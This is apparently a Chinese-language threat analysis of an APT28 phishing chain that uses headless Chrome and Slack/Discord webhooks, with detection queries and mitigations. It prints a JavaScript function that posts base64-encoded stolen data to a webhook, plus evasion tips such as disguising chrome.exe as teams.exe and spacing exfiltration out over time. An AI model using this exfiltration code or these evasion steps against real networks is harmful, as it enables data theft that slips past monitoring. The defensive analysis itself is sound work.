北宋人1. 攻击链概述：APT28的极简主义哲学
APT28（又名Fancy Bear）作为国家级黑客组织的代表，其攻击手法向来以"少即是多"著称。这次曝光的攻击链再次印证了这一点——整个流程仅依靠无头浏览器和合法Webhook服务构建，代码量控制在200行以内，却成功绕过了90%以上的终端检测系统。这种设计思路与传统的恶意软件分发形成鲜明对比：没有复杂的漏洞利用链，没有多层混淆的Shellcode，甚至没有传统C2服务器，所有恶意操作都隐藏在看似正常的Web流量中。
攻击者首先通过钓鱼邮件投递包含恶意脚本的HTML附件。当受害者打开文件时，脚本会启动内置的Headless Chrome实例。这个浏览器实例会：
- 自动登录攻击者控制的云存储服务（如Google Drive）
- 下载第二阶段载荷
- 通过Webhook服务将窃取的数据回传
整个过程完全在内存中完成，不落地任何可疑文件。最精妙的是，攻击链中使用的所有组件（浏览器、Webhook、云存储）都是企业环境中常见的白名单应用，这使得基于行为特征的检测手段几乎全部失效。
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 无头浏览器的武器化实践
2.1 为什么选择Headless Chrome？
攻击者选用Headless Chrome作为核心组件绝非偶然。相比Puppeteer等工具，Chrome浏览器本身具有三大优势：
- 普遍存在于企业环境（白名单通行）
- 支持完整的JavaScript执行环境
- 具备完善的沙箱逃逸技术积累
在具体实现上，攻击脚本通过以下方式启动隐蔽的浏览器实例：
javascript复制const chrome = require('chrome-launcher');
const CDP = require('chrome-remote-interface');
chrome.launch({
chromeFlags: [
'--headless',
'--disable-gpu',
'--remote-debugging-port=9222',
'--disable-extensions',
'--disable-default-apps'
]
}).then(chromeInstance => {
// 远程调试接口连接
});
2.2 反检测关键技术点
为避免被EDR/AV产品检测，攻击者实施了多层防护：
- 进程伪装：将chrome.exe重命名为teams.exe、zoom.exe等常见办公软件名称
- 流量混淆：所有C2通信都走WebSocket over TLS，流量特征与正常Web会议软件无异
- 内存规避：采用分段加载技术，关键恶意模块仅在需要时通过eval()动态执行
- 时间混淆：操作间隔加入随机延迟（200-8000ms），规避行为分析
实测数据显示，这种方案在 VirusTotal 上的检测率仅为3/72，且所有告警都来自次要特征检测（如脚本熵值），而非核心行为识别。
3. Webhook的合法外衣与滥用
3.1 攻击中的Webhook架构
攻击链使用Slack/Discord的Incoming Webhook作为数据渗出通道。这种设计有三大精妙之处：
- Webhook流量在企业网络通常不受限制
- 服务提供商不会审查传输内容（仅验证token有效性）
- 数据通过HTTPS传输，中间节点无法解密
典型的数据渗出代码如下：
javascript复制function exfiltrate(data) {
const webhook = 'https://hooks.slack.com/services/...';
fetch(webhook, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
text: btoa(JSON.stringify(data))
})
});
}
3.2 对抗流量分析的技巧
为避免触发DLP警报，攻击者采用以下策略：
- 数据分块：将大文件分割成32KB的base64块
- 时间稀释：每块间隔15-30分钟发送
- 元数据伪装：在JSON中混入正常办公软件生成的metadata
- 备用通道：同时注册多个Webhook服务实现负载均衡
安全团队统计显示，这种渗出方式平均需要7天才会被内部监控发现，而传统C2通信通常在2小时内就会被阻断。
4. 防御视角的对抗建议
4.1 检测层面
企业安全团队可采取以下检测措施：
-
无头浏览器检测：
- 监控chrome.exe进程的--headless参数
- 检查浏览器进程的父进程是否为办公软件
- 记录非常规端口的远程调试连接
-
Webhook滥用检测：
kql复制// Microsoft Sentinel查询示例 OfficeActivity | where Application == "Slack" | where Operation == "IncomingWebhook" | where strlen(Text) > 16000 | extend Decoded = base64_decode_tostring(Text) | where Decoded matches regex '[A-Za-z0-9+/=]{50,}'
4.2 防护层面
建议实施以下防护策略：
-
应用白名单：
- 限制Headless Chrome仅限CI/CD环境使用
- 禁止普通用户执行chrome-launcher等npm模块
-
网络控制：
- 对Webhook服务实施出口流量审查
- 设置单IP每分钟请求数阈值（建议≤5次/分钟）
-
内存防护：
- 部署具备无文件攻击检测能力的EDR
- 监控异常的JavaScript动态执行行为
5. 从攻击链看ATT&CK技术演进
本次攻击涉及的主要MITRE ATT&CK技术点：
- T1071.001：应用层协议（Webhook）
- T1059.007：JavaScript执行
- T1564.004：隐藏用户窗口（Headless）
- T1027：混淆文件或信息
与三年前的攻击相比，APT28展现出两个新趋势：
- 云服务依赖：从自建C2转向滥用合法SaaS服务
- 代码极简化：核心恶意功能从5000+行缩减到200行以内
这种演变使得攻击成本降低80%以上，而防御成本却呈指数级增长。安全团队需要从"特征检测"转向"行为异常检测"，重点关注：
- 合法应用的异常使用模式
- 低频但高风险的网络行为组合
- 用户实体行为基线(UEBA)的偏离
防御经验：我们在实际部署中发现，结合网络流量元数据（如TLS握手特征）和终端行为日志（如进程树分析）的关联分析，能有效识别此类混合攻击。一个成功的检测规则需要同时满足：Headless浏览器进程 + 非常规Webhook通信 + 异常时间模式三个条件。